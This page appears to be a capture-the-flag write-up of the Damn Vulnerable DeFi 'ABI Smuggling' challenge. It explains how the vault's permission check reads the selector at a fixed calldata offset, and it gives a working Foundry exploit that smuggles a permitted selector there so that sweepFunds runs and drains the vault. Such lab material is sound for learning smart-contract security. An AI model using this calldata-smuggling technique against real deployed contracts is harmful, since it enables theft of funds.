Skip to content

Latest commit

 

History

History
107 lines (83 loc) · 4.31 KB

File metadata and controls

107 lines (83 loc) · 4.31 KB
contract ABISmugglingChallenge is Test {
  // [...]
  function setUp() public {
    startHoax(deployer);

    // Deploy token
    token = new DamnValuableToken();

    // Deploy vault
    vault = new SelfAuthorizedVault();

    // Set permissions in the vault
    bytes32 deployerPermission = vault.getActionId(hex"85fb709d", deployer, address(vault));
    bytes32 playerPermission = vault.getActionId(hex"d9caed12", player, address(vault));
    bytes32[] memory permissions = new bytes32[](2);
    permissions[0] = deployerPermission;
    permissions[1] = playerPermission;
    vault.setPermissions(permissions);

    // Fund the vault with tokens
    token.transfer(address(vault), VAULT_TOKEN_BALANCE);

    vm.stopPrank();
  }
  // [...]
  function _isSolved() private view {
    // All tokens taken from the vault and deposited into the designated recovery account
    assertEq(token.balanceOf(address(vault)), 0, "Vault still has tokens");
    assertEq(token.balanceOf(recovery), VAULT_TOKEN_BALANCE, "Not enough tokens in recovery account");
  }
}

Analysis

The SelfAuthorizedVault::sweepFunds function allows us to transfer all tokens from the SelfAuthorizedVault contract to recovery. However, it has the onlyThis modifier, which restricts the function to being invoked only by the contract itself. Fortunately, we have the AuthorizedExecutor::execute function to do the job.

contract SelfAuthorizedVault is AuthorizedExecutor {
  // [...]
  function sweepFunds(address receiver, IERC20 token) external onlyThis {
    SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
  }
  // [...]
}

AuthorizedExecutor::execute

The AuthorizedExecutor::execute function has one restriction: it only allows bytes4(calldataload(calldataOffset)) to be the specific value, though it does not have any effect. Let us prepare our payload.

abstract contract AuthorizedExecutor is ReentrancyGuard {
  function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
    // Read the 4-bytes selector at the beginning of `actionData`
    bytes4 selector;
    uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
    assembly {
      selector := calldataload(calldataOffset)
    }

    if (!permissions[getActionId(selector, msg.sender, target)]) {
      revert NotAllowed();
    }

    _beforeFunctionCall(target, actionData);

    return target.functionCall(actionData);
  }
}

We call the AuthorizedExecutor::execute function using the following calldata:

The execute selector ([:4]) address target ([4:4+32]) bytes actionData offset ([36:36+32]) Whatever ([66:66+32]) The selector being checked ([98:98+4]) bytes actionData length ([102:102+32]) bytes actionData data ([134:])
(the execute selector) (address(vault)) 0x64 0 bytes4(hex"d9caed12") sweepFundsCallData.length sweepFundsCallData

The selector being checked passes the permissions check, while the actionData argument is decoded as our sweepFundsCallData.

For more information on how Solidity decodes bytes calldata, see Solidity ABI Specification.

Solution

function test_abiSmuggling() public checkSolvedByPlayer {
  bytes memory sweepFundsCallData = abi.encodePacked(vault.sweepFunds.selector, uint256(uint160(recovery)), uint256(uint160(address(token))));
  bytes memory executeCallData = abi.encodePacked(
    vault.execute.selector,
    uint256(uint160(address(vault))),
    uint256(0x64),
    uint256(0),
    bytes4(hex"d9caed12"),
    sweepFundsCallData.length,
    sweepFundsCallData
  );
  (bool success, ) = address(vault).call(executeCallData);
  require(success, "Call failed");
}

Full solution can be found in ABISmuggling.t.sol.